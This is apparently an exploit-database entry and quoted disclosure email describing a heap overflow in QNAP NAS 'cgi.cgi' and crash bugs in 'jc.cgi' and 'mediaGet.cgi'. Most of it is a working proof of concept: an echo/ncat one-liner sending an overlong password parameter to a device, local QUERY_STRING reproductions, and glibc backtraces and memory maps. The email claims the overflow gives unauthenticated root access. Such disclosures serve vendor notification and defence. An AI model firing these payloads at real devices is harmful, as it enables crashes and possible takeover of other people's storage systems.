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QNAP NAS Devices - Heap Overflow Exploit

Author
bashis
Risk
[
Security Risk High
]
0day-ID
0day-ID-26604
Category
dos / poc
Date add
02-01-2017
Platform
linux
==================
 
1) [Heap overflow]
 
==================
 
Path: /home/httpd/cgi-bin/cgi.cgi
 
u = valid user [guest|admin]
 
1.1)
 
/* Remote */
 
[Remote host]# echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i<263;i++));do echo -en "A";done` HTTP/1.0\nHost: QNAP\n\n" | ncat --ssl 192.168.5.7 443
 
HTTP/1.1 200 OK
 
Date: Sat, 31 Dec 2016 00:01:11 GMT
 
*** glibc detected *** cgi.cgi: free(): invalid next size (normal): 0x0806cec8 ***
 
======= Backtrace: =========
 
======= Memory map: ========
 
08048000-08069000 r-xp 00000000 00: 0e 7559 /home/httpd/cgi-bin/authLogin.cgi
 
08069000-0806b000 rw-p 00020000 00: 0e 7559 /home/httpd/cgi-bin/authLogin.cgi
 
0806b000-0808c000 rw-p 00000000 00: 00 0 [heap]
 
[====SNIP====]
 
ffe53000-ffe54000 rw-p 00000000 00: 00 0
 
Content-Length: 0
 
Connection: close
 
Content-Type: text/plain
 
[Remote host]#
 
=======
 
1.2)
 
/* Local test, to get more info from backtrace */
 
# export QUERY_STRING="u=admin&p=`for((i=0;i<263;i++));do echo -en "A";done`"
 
# ./cgi.cgi
 
*** glibc detected *** ./cgi.cgi: free(): invalid next size (normal): 0x0806cec8 ***
 
======= Backtrace: =========
 
/lib/libc.so.6[0xf6c3da62]
 
/lib/libc.so.6(cfree+0x89)[0xf6c3f729]
 
/lib/libc.so.6(fclose+0x136)[0xf6c2e5c6]
 
/lib/libnss_compat.so.2[0xf6b8ac25]
 
/lib/libnss_compat.so.2(_nss_compat_getspnam_r+0xb2)[0xf6b8b282]
 
/lib/libc.so.6(getspnam_r+0x77)[0xf6c9ef57]
 
/lib/libc.so.6(getspnam+0x78)[0xf6c9e3f8]
 
/usr/lib/libuLinux_NAS.so.0(Check_Local_User_Password+0x16c)[0xf7518972]
 
/usr/lib/libuLinux_NAS.so.0(Check_System_User_Password+0x56)[0xf7518f66]
 
/usr/lib/libuLinux_NAS.so.0(Check_NAS_Administrator_Password+0x24)[0xf75
19098]
 
./cgi.cgi[0x80502ed]
 
./cgi.cgi[0x8051a7e]
 
/lib/libc.so.6(__libc_start_main+0xe0)[0xf6bedf90]
 
./cgi.cgi[0x804d151]
 
======= Memory map: ========
 
08048000-08069000 r-xp 00000000 00:0e 7559 /home/httpd/cgi-bin/authLogin.cgi
 
08069000-0806b000 rw-p 00020000 00:0e 7559 /home/httpd/cgi-bin/authLogin.cgi
 
0806b000-0808c000 rw-p 00000000 00:00 0 [heap]
 
[====SNIP====]
 
ffd9e000-ffdbe000 rwxp 00000000 00:00 0 [stack]
 
ffdbe000-ffdbf000 rw-p 00000000 00:00 0
 
Aborted
 
#
 
1.3)
 
# export QUERY_STRING="u=admin&p=`for((i=0;i<5957;i++));do echo -en "A";done`"
 
# ./cgi.cgi
 
*** glibc detected *** : free(): invalid next size (normal): 0x0806e508 ***
 
======= Backtrace: =========
 
/lib/libc.so.6[0xf6c9da62]
 
/lib/libc.so.6(cfree+0x89)[0xf6c9f729]
 
/lib/libc.so.6(fclose+0x136)[0xf6c8e5c6]
 
/lib/libnss_compat.so.2[0xf6beac25]
 
/lib/libnss_compat.so.2(_nss_compat_getspnam_r+0xb2)[0xf6beb282]
 
/lib/libc.so.6(getspnam_r+0x77)[0xf6cfef57]
 
/lib/libc.so.6(getspnam+0x78)[0xf6cfe3f8]
 
/usr/lib/libuLinux_NAS.so.0(Check_Local_User_Password+0x16c)[0xf7578972]
 
/usr/lib/libuLinux_NAS.so.0(Check_System_User_Password+0x56)[0xf7578f66]
 
/usr/lib/libuLinux_NAS.so.0(Check_NAS_Administrator_Password+0x24)[0xf75
79098]
 
[0x80502ed]
 
[0x0]
 
======= Memory map: ========
 
08048000-08069000 r-xp 00000000 00:0e 6705 /home/httpd/cgi-bin/authLogin.cgi
 
08069000-0806b000 rw-p 00020000 00:0e 6705 /home/httpd/cgi-bin/authLogin.cgi
 
0806b000-0808c000 rw-p 00000000 00:00 0 [heap]
 
[====SNIP====]
 
# ./cgi.cgi
 
Segmentation fault
 
#
 
# dmesg
 
[====SNIP====]
 
[ 2185.562493] cgi.cgi[17772]: segfault at ff9a4010 ip 00000000f6bd75c3 sp 00000000ff99f1bc error 4 in libc-2.6.1.so[f6b6b000+12d000]
 
[====SNIP====]
 
/* Local as shown below, but can of course be called from remote */
 
==================
 
2) [STACK junk]
 
==================
 
# export QUERY_STRING="bug"
 
# ./jc.cgi
 
Segmentation fault
 
# dmesg
 
[====SNIP====]
 
[76277.192562] jc.cgi[18159]: segfault at 0 ip 00000000f6cbdffc sp 00000000ffeddbbc error 4 in libc-2.6.1.so[f6c52000+12d000]
 
[====SNIP====]
 
==================
 
3) [STACK junk]
 
==================
 
/* Local as shown, but can be called from remote */
 
# export QUERY_STRING="bug"
 
# ./mediaGet.cgi
 
Segmentation fault
 
# dmesg
 
[====SNIP====]
 
[76802.837766] mediaGet.cgi[6589]: segfault at 0 ip 00000000f6bd8ffc sp 00000000ffc0498c error 4 in libc-2.6.1.so[f6b6d000+12d000]
 
[====SNIP====]
 
Have a nice day (and happy new year)
 
/bashis
 
========================
 
Hello mcw (at) noemail (dot) eu [email concealed],
 
We're writing to let you know that the group you tried to contact (security) may not exist, or you may not have permission to post messages to the group. A few more details on why you weren't able to post:
 
* You might have spelled or formatted the group name incorrectly.
 
* The owner of the group may have removed this group.
 
* You may need to join the group before receiving permission to post.
 
* This group may not be open to posting.
 
If you have questions related to this or any other Google Group, visit the Help Center at https://support.google.com/a/qnap.com/bin/topic.py?topic=25838.
 
Thanks,
 
qnap.com admins
 
----- Original message -----
 
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Sat, 31 Dec 2016 11:50:06 -0800 (PST)
 
Return-Path: <mcw (at) noemail (dot) eu [email concealed]>
 
Received: from qnappm.info (mail2.qnappm.info. [113.196.50.102])
 
by mx.google.com with ESMTP id c74si60891262pfk.272.2016.12.31.11.50.05
 
for <security (at) qnap (dot) com [email concealed]>;
 
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Received: from aid.qnap.com ([113.196.50.99]:36962)
 
by mail2.qnappm.info with [XMail 1.27 ESMTP Server]
 
id <S7F885> for <security (at) qnap (dot) com [email concealed]> from <mcw (at) noemail (dot) eu [email concealed]>;
 
Sun, 1 Jan 2017 04:13:48 +0800
 
Date: Sun, 1 Jan 2017 03:50:06 +0800
 
Return-Path: mcw (at) noemail (dot) eu [email concealed]
 
To: security (at) qnap (dot) com [email concealed]
 
From: bashis mcw <mcw (at) noemail (dot) eu [email concealed]>
 
Subject: Reporting Security Issues - [Critical] QNAP NAS devices suffer of Heap Overflow!
 
Message-ID: <5acc9d206d9601dc574a02b114c83e8a (at) aid.qnap (dot) com [email concealed]>
 
X-Priority: 3
 
X-Mailer: PHPMailer 5.1 (phpmailer.sourceforge.net)
 
MIME-Version: 1.0
 
Content-Type: multipart/alternative;
 
boundary="b1_5acc9d206d9601dc574a02b114c83e8a"
 
Category : Administration
 
Subject : QNAP NAS devices suffer of Heap Overflow!
 
Severity Level : Critical
 
Description :
 
Greetings gents,
 
QNAP NAS devices suffer from a critical Heap Overflow in "cgi.cgi" and
 
non critical stack crash in "jc.cgi and mediaGet.cgi".
 
Successful exploitation of this heap overflow vulnerability can lead to
 
unauthorised root (admin) privileges on QNAP devices with anonymous
 
access. (no credential needed to exploit)
 
Please note: 1st February 2017 i will release details of these bugs to
 
Full Disclosure and Bugtraq e-mail lists.
 
Please see below and attached.
 
Have a nice day (and happy new year)
 
/bashis
 
==================
 
1) [HEAP overflow]
 
==================
 
Path: /home/httpd/cgi-bin/cgi.cgi
 
u = valid user [guest|admin]
 
1.1)
 
/* Remote */
 
[Remote host]# echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i
 
Sign Time : 2017/01/01 03:50:06

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